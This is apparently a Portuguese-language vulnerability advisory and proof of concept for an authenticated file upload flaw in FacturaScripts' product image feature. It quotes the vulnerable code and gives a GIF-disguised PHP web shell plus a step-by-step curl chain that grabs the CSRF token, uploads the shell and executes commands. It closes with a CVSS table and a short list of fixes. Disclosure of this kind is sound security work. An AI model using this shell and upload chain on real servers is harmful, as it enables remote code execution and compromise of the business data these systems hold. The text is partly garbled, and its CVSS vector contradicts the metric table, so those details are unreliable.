
FacturaScripts RCE Exploit - Prova de Conceito
Existe uma vulnerabilidade de upload de arquivo irrestrito autenticado na funcionalidade de upload de imagens de produtos do FacturaScripts. Um atacante com credenciais válidas pode enviar um arquivo PHP disfarçado de imagem GIF (usando um cabeçalho GIF89a), contornando a validação de tipo MIME. O arquivo é armazenado com sua extensão original, incluindo extensões executáveis como .php.
A vulnerabilidade existe em:
Core/Lib/ExtendedController/ProductImagesTrait.php
Especificamente no método addImageAction().
if (false === strpos($uploadFile->getMimeType(), 'image/')) {
Tools::log()->error('file-not-supported');
continue;
}
$folder = Tools::folder('MyFiles');
Tools::folderCheckOrCreate($folder);
$uploadFile->move($folder, $uploadFile->getClientOriginalName());
"image/"image/gif.php em um diretório acessível pela webOs arquivos enviados são armazenados em:
/MyFiles/YYYY/MM/X.php
Onde X é um ID autoincremental. Isso permite execução remota direta:
http://target/MyFiles/2026/03/2.php?cmd=id
A exploração bem-sucedida permite:
cat > shell.jpg.php << 'EOF'
GIF89a
<?php
system($_GET['cmd']);
?>
EOF
PHPSESSID dos cookies do navegadorcurl -s "http://target/EditProducto?code=CONTA621" \
-H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
| grep -o 'multireqtoken\" value=\"[^\"]*\"' | cut -d'"' -f4
curl -X POST "http://target/EditProducto?code=CONTA621" \
-H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
-F "multireqtoken=YOUR_CSRF_TOKEN" \
-F "action=add-image" \
-F "activetab=EditProductoImagen" \
-F "idproducto=3" \
-F "newfiles[][email protected]"
curl "http://target/MyFiles/2026/03/2.php?cmd=id"
Vetor: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Pontuação Base: 6.3 (Moderada)
| Métrica | Valor |
|---|---|
| Vetor de Ataque | Rede (AV:N) |
| Complexidade do Ataque | Baixa (AC:L) |
| Privilégios Necessários | Baixos (PR:L) |
| Interação do Usuário | Nenhuma (UI:N) |
| Escopo | Alterado (S:C) |
| Confidencialidade | Alta (C:H) |
| Integridade | Alta (I:H) |
| Disponibilidade | Alta (A:H) |
| Campo | Valor |
|---|---|
| Ecossistema | Packagist |
| ID CVE | CVE-2026-42879 |
| Nome do Pacote | facturascripts/facturascripts |
| Versões Afetadas | <= 2025.81 |
| Versões Corrigidas | Ainda não corrigido |
| Corrigido em | Pendente |
.php, .phtml, .phar ou outras extensões executáveis, independentemente do tipo MIMEgetClientOriginalName(); atribua um nome seguro baseado em UUID com uma extensão validadafileinfo em vez de confiar no MIME fornecido pelo cliente